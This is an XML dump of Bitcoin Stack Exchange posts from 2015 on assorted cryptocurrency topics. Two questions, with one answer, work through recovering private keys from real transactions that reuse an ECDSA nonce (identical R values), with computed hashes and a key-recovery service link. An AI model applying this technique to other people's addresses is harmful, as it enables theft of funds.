  <row Id="37671" PostTypeId="1" CreationDate="2015-05-30T11:01:19.530" Score="0" ViewCount="110" Body="&lt;p&gt;Most, if not all governments, have some form of sales tax.  What happens to bitcoin value when governments prohibit use of bitcoins to curb evasion of taxes&lt;/p&gt;&#xA;" OwnerUserId="26711" LastActivityDate="2017-01-25T16:41:18.067" Title="Bitcoins and taxes" Tags="|taxes|" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-01T12:05:55.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="37672" PostTypeId="1" AcceptedAnswerId="37701" CreationDate="2015-05-30T23:50:26.993" Score="1" ViewCount="3072" Body="&lt;p&gt;On blockchain.info I saw a transaction labeled as &quot;No inputs (newly generated coins)&quot;. Are these new coins generated from mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come that such a transaction can have 30 confirmations, while others only have six confirmations?&lt;/p&gt;&#xA;" OwnerUserId="26638" LastEditorUserId="5406" LastEditDate="2015-06-01T08:32:39.033" LastActivityDate="2022-02-20T15:13:22.800" Title="Transaction marked as &quot;Newly generated coins&quot; on Blockchain.info" Tags="|blockchain.info|confirmations|coinbase-transaction|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37673" PostTypeId="1" CreationDate="2015-05-31T03:49:39.213" Score="0" ViewCount="5337" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/f10d5c469c634de25276aae9c4e14add80ad9c66000182fac1b30e72a99298fb&quot; rel=&quot;nofollow&quot;&gt;txid1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/cf0b65ec6a2f9b5e003358d7b9bb6e04b30138c4dba30724f600bf753bfc3f4a&quot; rel=&quot;nofollow&quot;&gt;txid2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;input script 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304502206bcc247f1259262b4035bfa84f0397a69f69baa01659daaf94fe1164b650c86a022100a044b38e8264a1c928ddd28b4657aa7109d1ea30e911208c7ce57abcb1451fe601 &#xA;0428f3c7982219bf067d9723a54bef8e0ae7d970b4285a148685ce98819bd59c993da6945a85ba67249e96534f3cb93af144301e3ef03f848ebf17fedd55addd14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;r = 6bcc247f1259262b4035bfa84f0397a69f69baa01659daaf94fe1164b650c86a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;s1 = a044b38e8264a1c928ddd28b4657aa7109d1ea30e911208c7ce57abcb1451fe6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;input script 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304402206bcc247f1259262b4035bfa84f0397a69f69baa01659daaf94fe1164b650c86a022075e41da2596619e837af69cdf80933e519abd736210677970a6ac23a3709ee2e01&#xA;04c69b120facc137ad7ecf7407b97f3e1bcecec27ed6617ad1e3bb4f5a265c2230dab461d8de9d194b9aae05cf3fc361e31b0cd172985720a9963a1fd9cb4dab13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;s2 = 75e41da2596619e837af69cdf80933e519abd736210677970a6ac23a3709ee2e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Raw tx 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;calculating z1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace the input with the corresponding output script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000169590a9c08ea4d2f4d1b5e3acb216b9cee78e8378a7a5b223aff7e85f70eab77000000001976a91460a1a3a20ac1023a8b6ce202190fbf75ec73a1bf88acffffffff0224aece00000000001976a914b4d245551501f7f443ea507494ef00b8ed739f6888ac9def0b0f000000001976a91460a1a3a20ac1023a8b6ce202190fbf75ec73a1bf88ac0000000001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then do sha256(sha256(modified transaction))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;z1 = 9ffb92bc05a398e3177b12fcdac5308d316b6bd6cc00365177711dc4e3f10e64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Raw tx 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;calculating z2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace the input with the corresponding output script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001cc41959d96ce6147b93fe00a8fca25ce99ec1a09dc175d27113db36f6e398d1c010000001976a9149e26556775e88e000179ebe278a259cba1d7b43d88acffffffff02f4351000000000001976a91485ba872014004c8e4de29d94b4d7ad415297955f88acc0d06100000000001976a9149e26556775e88e000179ebe278a259cba1d7b43d88ac0000000001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then do sha256(sha256(modified transaction))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;z2 = 539bcbcddc3fff95aa262d01b8a909504958b371b813cb71a457efebb41c398e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;priv key calculation,it not given correct address and priv anything wrong&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;posting the r , s1 , s2 , z1 , z2 below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://2coin.org/tx.asmx?op=GetPrivateKeyFromIdenticalRs&quot; rel=&quot;nofollow&quot;&gt;http://2coin.org/tx.asmx?op=GetPrivateKeyFromIdenticalRs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it given &lt;strong&gt;18MRDftXYkGqzo9hvcdnUs7yaPXrD1DXsq&lt;/strong&gt; address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but&lt;/p&gt;&#xA;&#xA;&lt;p&gt;trans 1 address = &lt;strong&gt;19owWJcPbTEe1mVYer1ymnbduJDza9jpRH&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;trans 2 address = &lt;strong&gt;1FRDgmxVrUUNiiB7GN3NNcJDEEXtFB22rm&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's wrong&lt;/p&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="26602" LastEditDate="2015-06-01T06:13:10.610" LastActivityDate="2022-10-31T18:40:45.487" Title="same R value is used for two different addresses? finding z1 and z2 value and privatekey" Tags="|transactions|signature|hash|ecdsa|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37674" PostTypeId="1" AcceptedAnswerId="37687" CreationDate="2015-05-31T04:21:13.340" Score="1" ViewCount="2568" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/9312ccafb8aa624afe7fb7b4201a0ccc2a14ca2b8b8a3253093b975a6a85a280&quot; rel=&quot;nofollow&quot;&gt;tx1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from the trans1 i got&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input Scripts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30450220262e481b6d8905b5adba67aff05eb8261501b0a9434c0b7f043d00cf8d23c91b022100bf82c0d212f30d3a0599e9b879516d762eaf5688ab83787cf470e99af5a6917101       &#xA;046578188abe5aaf9f3d1809d972e87307493dfefa3a5b6c94c870e8f58743179678f059c6402d9806ccce5d0672dc171d962fe392f8ef77cc9827c3eb633966b4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;R = 262e481b6d8905b5adba67aff05eb8261501b0a9434c0b7f043d00cf8d23c91b&lt;/p&gt;&#xA;&#xA;&lt;p&gt;S2 = bf82c0d212f30d3a0599e9b879516d762eaf5688ab83787cf470e99af5a69171&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tx1 raw trans&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;calculating z2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace the input with the corresponding output script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000012eb64643254262722e33e72cb2ad67fecb6ae2fd812d2f2bff217458715e11a0000000001976a91409a4cb092dc30da1354369fc78f482365ce2767a88acffffffff02a0252600000000001976a914cf3aaf67c964d5c239f4cf2d9c2d2a7257d85b5d88aca0252600000000001976a91409a4cb092dc30da1354369fc78f482365ce2767a88ac0000000001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then do sha256(sha256(modified transaction))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Z2 = e2b8acb01c0ea6a2a1273fc9dbbe3cdd58c68afb54e240e1f51abcc652468204&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/b4e7193c972ababd82b5feefe1af96b33bf062d2b959f44816a532e05940d032&quot; rel=&quot;nofollow&quot;&gt;tx2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;from tx2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input Scripts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30450220262e481b6d8905b5adba67aff05eb8261501b0a9434c0b7f043d00cf8d23c91b022100d45c9ef85bb65a2a5bb3cf862124188adfe5fb8d430bc4b0d1222b1704d10d1901      &#xA;046578188abe5aaf9f3d1809d972e87307493dfefa3a5b6c94c870e8f58743179678f059c6402d9806ccce5d0672dc171d962fe392f8ef77cc9827c3eb633966b4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;S1 = d45c9ef85bb65a2a5bb3cf862124188adfe5fb8d430bc4b0d1222b1704d10d19&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tx2 raw trans&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000180a2856a5a973b0953328a8b2bca142acc0c1a20b4b77ffe4a62aab8afcc1293010000008b4830450220262e481b6d8905b5adba67aff05eb8261501b0a9434c0b7f043d00cf8d23c91b022100d45c9ef85bb65a2a5bb3cf862124188adfe5fb8d430bc4b0d1222b1704d10d190141046578188abe5aaf9f3d1809d972e87307493dfefa3a5b6c94c870e8f58743179678f059c6402d9806ccce5d0672dc171d962fe392f8ef77cc9827c3eb633966b4ffffffff01a0252600000000001976a914cf3aaf67c964d5c239f4cf2d9c2d2a7257d85b5d88ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;calculating z1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace the input with the corresponding output script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000180a2856a5a973b0953328a8b2bca142acc0c1a20b4b77ffe4a62aab8afcc1293010000001976a914cf3aaf67c964d5c239f4cf2d9c2d2a7257d85b5d88acffffffff01a0252600000000001976a914cf3aaf67c964d5c239f4cf2d9c2d2a7257d85b5d88ac0000000001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then do sha256(sha256(modified transaction))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got Z1 = f62dab861eb451dad7cc74fa9f754e4d233b5fb80b1327fd623f5617e1f46d21&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the correct z1 value is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;z1 = 66042ab1a1befe137de5328ff1d4b263604824fe33c739d3a80565afdd94b34d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what wrong in the calculation&lt;/p&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="26602" LastEditDate="2015-05-31T12:17:49.690" LastActivityDate="2020-02-13T09:03:06.077" Title="Two identical R value finding z value from two transaction" Tags="|transactions|signature|hash|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37675" PostTypeId="1" CreationDate="2015-05-31T06:05:51.897" Score="4" ViewCount="616" Body="&lt;p&gt;I am wondering - can an Ethereum contract be updated without having to be re-submitted? Say, if I find a bug in my contract, can I fix it without having to create a new contract and making my potential users have to update their references? As I understand, I can always upload a new contract and make that contract fetch the old data plus possibly invalidate the old contract, but that still doesn't let me redirect anyone using the old contract into the new one.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-31T09:04:47.007" Title="Can an Ethereum contract be updated without having to be re-submitted?" Tags="|development|ethereum|smartcontracts|" AnswerCount="2" CommentCount="0" ClosedDate="2020-04-25T23:51:31.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="37676" PostTypeId="2" ParentId="37675" CreationDate="2015-05-31T07:02:41.653" Score="5" Body="&lt;p&gt;You can separate concerns - have a contract that the users interface with and that has a reference (an address) of another contract that contains the actual logic. Then, you can control the interface contract and update it with the address of the logic contract on updates.&lt;/p&gt;&#xA;" OwnerUserId="18782" LastActivityDate="2015-05-31T07:02:41.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37678" PostTypeId="2" ParentId="37675" CreationDate="2015-05-31T09:04:47.007" Score="2" Body="&lt;p&gt;No you cannot. A nice way to mimic mutability is via name registration. You can register a name which you distribute to users or use in dapps and other contracts. Whenever you update you update your entry to point to your current contract address.&lt;/p&gt;&#xA;" OwnerUserId="14821" LastActivityDate="2015-05-31T09:04:47.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37679" PostTypeId="1" CreationDate="2015-05-31T09:14:20.310" Score="2" ViewCount="618" Body="&lt;p&gt;I want to send bitcoins to a friend through a Lamassu ATM. She has emailed me her request QR code and when I went to the Lamassu ATM point, after pressing on the start button and  showing the QR code on my smartphone, nothing happens. I learned that the atm is supposed to scan the QR code and send bitcoins to the request QR code after putting in cash. &#xA;I am wondering, if I may need an app or internet on my smartphone to enable the Lamassu ATM to detect and scan the QR code on the phone screen.&lt;/p&gt;&#xA;" OwnerUserId="26722" LastEditorUserId="5406" LastEditDate="2015-05-31T13:06:02.413" LastActivityDate="2021-01-13T20:17:34.710" Title="Do I need an app and internet on my smartphone to enable a Lamassu ATM to detect and scan my QR code?" Tags="|qrcode|bitcoin-atm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37681" PostTypeId="1" AcceptedAnswerId="37782" CreationDate="2015-05-31T11:06:28.557" Score="1" ViewCount="1061" Body="&lt;p&gt;I've seen in more than one Blockchain API provider's specs where the transaction inputs and outputs are in the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addresses: ARRAY&#xA;The address (or addresses in the case of multi-sig) to which the value was transferred.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm confused about the array. When I try these APIs with a transaction where one of the outputs is to a multi sig address, I still see a single multi-sig address in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In which cases would I see multiple addresses in a single output or input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This the same in these api providers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://chain.com/docs#object-bitcoin-transaction&quot; rel=&quot;nofollow&quot;&gt;https://chain.com/docs#object-bitcoin-transaction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#transactions&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://toshi.io/docs/#get-transaction&quot; rel=&quot;nofollow&quot;&gt;https://toshi.io/docs/#get-transaction&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2015-06-04T08:54:20.620" Title="Is it possible to have a single input or output with multiple addresses" Tags="|transactions|api|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37683" PostTypeId="2" ParentId="37679" CreationDate="2015-05-31T13:03:40.497" Score="1" Body="&lt;p&gt;You don't need internet or an app. Actually, the machine can either scan a paper QR code or a mobile phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem would either be that the QR code encodes different information than what you thought it does, or that the scanner of the ATM does not recognize the QR code on the screen. What you need to show is a Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to set your screen to full brightness, be sure not to block any part of the screen when presenting it, and check whether the QR code actually contains a Bitcoin address, and not something else such as a private key or payment request.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-31T13:09:38.963" LastActivityDate="2015-05-31T13:09:38.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37684" PostTypeId="1" AcceptedAnswerId="37685" CreationDate="2015-05-31T13:08:42.773" Score="19" ViewCount="22182" Body="&lt;p&gt;I am looking to understand the Bitcoin C++ source code on &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot;&gt;GitHub&lt;/a&gt;. The Python one is simpler, but even that is too complicated for a beginner. Could someone guide me to some good resources on the actual implementation and its details? The actual C++ techniques used seem to be quite complicated.&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="2306" LastEditDate="2015-05-31T17:03:53.600" LastActivityDate="2019-03-07T19:37:57.647" Title="Where to find help understanding Bitcoin's source code in C++?" Tags="|bitcoin-core-development|open-source|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37685" PostTypeId="2" ParentId="37684" CreationDate="2015-05-31T13:23:46.770" Score="12" Body="&lt;p&gt;I am not aware of an extensively commented version of the Bitcoin sourcecode, but you could check out the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#&quot;&gt;Bitcoin Developer Reference&lt;/a&gt; and you can read online the book &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/index.html&quot;&gt;Mastering Bitcoin&lt;/a&gt; by Andreas M. Antonopoulos, which covers Bitcoin's technical aspects extensively. There is also &lt;a href=&quot;https://www.youtube.com/watch?v=fOMVZXLjKYo&quot;&gt;Princeton's Free Online Bitcoin course&lt;/a&gt;, which goes into details on some technical aspects, which might in turn help you understand the sourcecode better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that, try searching Bitcoin.SE for specific questions, there are a few here that have been asked about already, if you can't find something, feel free to ask a new question here.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-05-31T13:23:46.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37687" PostTypeId="2" ParentId="37674" CreationDate="2015-05-31T14:21:09.333" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;calculating z1&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;replace the input with the corresponding output script&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the step where you made a small mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UTXO that's being spent is from &lt;a href=&quot;https://blockchain.info/tx/9312ccafb8aa624afe7fb7b4201a0ccc2a14ca2b8b8a3253093b975a6a85a280&quot; rel=&quot;nofollow&quot;&gt;txid 9312ccafb8aa624afe7fb7b4201a0ccc2a14ca2b8b8a3253093b975a6a85a280&lt;/a&gt; which contains two txouts. When you did the script replacement, you chose txout #0 (with a hash160 of cf3aaf67c964d5c239f4cf2d9c2d2a7257d85b5d), but the tx being signed is spending txout #1 (with a hash160 of 09a4cb092dc30da1354369fc78f482365ce2767a).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing the replacement with the correct txout script results in this, which hashes to the z1 value you were expecting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000180a2856a5a973b0953328a8b2bca142acc0c1a20b4b77ffe4a62aab8afcc1293010000001976a91409a4cb092dc30da1354369fc78f482365ce2767a88acffffffff01a0252600000000001976a914cf3aaf67c964d5c239f4cf2d9c2d2a7257d85b5d88ac0000000001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-31T14:21:09.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37688" PostTypeId="2" ParentId="37663" CreationDate="2015-05-31T14:56:39.377" Score="3" Body="&lt;p&gt;This feature can be easily realised outside the Ethereum virtual machine (and thus keeping the VM simple): Create a (reusable) contract where contracts can register to be called at a certain time (and provide a reward as compensation for the gas costs). A script can poll this contract from outside and call it at the appropriate times. The contract could be similar to the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;contract CallbackRegistry&#xA;{&#xA;  struct Entry { uint time; address addr; bytes data; uint reward; }&#xA;  mapping(bytes32 =&amp;gt; Entry) entries;&#xA;  function register(uint _time, address _addr, bytes _data) external returns (bytes32 _hash)&#xA;  {&#xA;    _hash = sha3(_time, _addr, _data);&#xA;    entries[_hash].time = _time;&#xA;    entries[_hash].addr = _addr;&#xA;    entries[_hash].data = _data;&#xA;    entries[_hash].reward = msg.value;&#xA;  }&#xA;  function invoke(bytes32 _hash) external&#xA;  {&#xA;    if (entries[_hash].time &amp;gt; 0 &amp;amp;&amp;amp; now &amp;gt;= entries[_hash].time)&#xA;    {&#xA;      msg.sender.send(entries[_hash].reward);&#xA;      entries[_hash].addr.call(entries[_hash].data);&#xA;      delete entries[_hash];&#xA;    }&#xA;  }     &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26726" LastActivityDate="2015-05-31T14:56:39.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37689" PostTypeId="1" AcceptedAnswerId="37690" CreationDate="2015-05-31T16:21:51.877" Score="0" ViewCount="226" Body="&lt;p&gt;What are some of the top crypto currencies that received outside funding? Would be great if there was a list of them.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-31T16:39:33.013" Title="What are the top crypto-currencies based on funding?" Tags="|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37690" PostTypeId="2" ParentId="37689" CreationDate="2015-05-31T16:39:33.013" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Bitshares - 500,000 USD from investors + 5625 BTC in donations (via BTS AGS)&lt;/li&gt;&#xA;&lt;li&gt;Digibyte - 250,000 USD from investors &lt;/li&gt;&#xA;&lt;li&gt;Ethereum - 31,531 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;Factom - 2287 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;GetGems - 2633 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;MaidSafe - around 12,200 in BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;Mastercoin (Omni) - around 4700 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;NEM - around 63 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;Neucoin - 2.25M USD from Investors + around 4000 BTC from Neucoin presale.&lt;/li&gt;&#xA;&lt;li&gt;NXT - around 21 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;Ripple - Over 30M USD from VC's&lt;/li&gt;&#xA;&lt;li&gt;Stellar - 3M USD from Stripe&lt;/li&gt;&#xA;&lt;li&gt;Storj - 910 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;SuperNet - 5737 BTC from presale ~ part the the NXT platform asset&lt;/li&gt;&#xA;&lt;li&gt;Swarm - 1200 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;ViaCoin - 610 BTC from presale&lt;/li&gt;&#xA;&lt;li&gt;Ziftr - 3700 BTC from presale&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Taken from: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1045967.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1045967.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Highest funding:&lt;/strong&gt; Ethereum &amp;amp; Ripple&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Lowest funding:&lt;/strong&gt; NXT -- but they seem to have the most progress compared to every coin out there so far from this research as of 2015-Jun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion, its not funding or even a good team, but something else in play that causes good progress in one of these funded coins.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-31T16:39:33.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37691" PostTypeId="2" ParentId="37681" CreationDate="2015-05-31T17:01:36.567" Score="0" Body="&lt;p&gt;Each transaction can be made of many different inputs and many different outputs. Each output must reference 1 output address and each input must reference 1 input transaction. So the inputs and outputs can only reference a single address each but the transaction itself can reference many. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as multi sig goes that merely referees to the amount of private keys used to sign the transaction which is independent of the addresses.   &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2015-05-31T17:01:36.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37692" PostTypeId="2" ParentId="13895" CreationDate="2015-05-31T19:09:07.263" Score="6" Body="&lt;p&gt;These days the most thorough and handy guide for the Bitcoin Core RPC commands is the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#rpc-quick-reference&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.org developer reference page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7412" LastActivityDate="2015-05-31T19:09:07.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37693" PostTypeId="2" ParentId="37684" CreationDate="2015-05-31T19:28:36.487" Score="2" Body="&lt;p&gt;Aside from what @Murch♦ mentioned above (especially the developer reference), a good source for this is the Doxygen documentation. You can generate it locally or it seems to be published here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/&quot; rel=&quot;nofollow&quot; title=&quot;Doxygen for Bitcoin&quot;&gt;Bitcoin: Developer documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the documentation itself is pretty sparse, but the things that Doxygen adds (especially call graphs and inheritance graphs) add a lot more than what you would get just by browsing the source in an editor.&lt;/p&gt;&#xA;" OwnerUserId="25264" LastActivityDate="2015-05-31T19:28:36.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37694" PostTypeId="2" ParentId="13165" CreationDate="2015-05-31T19:31:52.963" Score="4" Body="&lt;p&gt;Like GetInfo, the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getnetworkinfo&quot; rel=&quot;nofollow&quot;&gt;GetNetworkInfo&lt;/a&gt; RPC call provides:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;version: The numeric Bitcoin Core (bitcoind) server software version (e.g. 100000)&lt;/li&gt;&#xA;&lt;li&gt;protocolversion: The numeric Bitcoin protocol version of the software (e.g. 70002)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition, GetNetworkInfo provides the &quot;subversion&quot; user agent string (e.g &quot;/Satoshi:0.10.0/&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the GetInfo call has been deprecated and may be removed in a future version of the software (&lt;a href=&quot;https://bitcoin.org/en/developer-reference#getinfo&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerUserId="7412" LastActivityDate="2015-05-31T19:31:52.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37696" PostTypeId="1" CreationDate="2015-05-31T20:05:04.640" Score="21" ViewCount="603" Body="&lt;p&gt;I'm making a list of real-life examples of occasions where bitcoins were lost to various known attacks. One of these &lt;a href=&quot;https://bitcoinj.github.io/security-model#pending-transactions&quot;&gt;known attacks&lt;/a&gt; is that lightweight (SPV) wallets can't verify whether a transaction only spends UTXOs (a requirement full nodes enforce) so lightweight wallets can be tricked into accepting bitcoins that don't really exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, only a dishonest miner would confirm that transaction, making the attack expensive if confirmations have to be involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a real-life example of a user who lost money to this attack, either involving an unconfirmed transaction or a confirmed transaction?  I'd prefer an example from Bitcoin, but examples from altcoins are welcome too.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2016-05-03T21:12:17.910" Title="Have any SPV users lost money because they accepted forged bitcoins?" Tags="|transactions|attack|unconfirmed-transactions|spv|sybil-attack|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
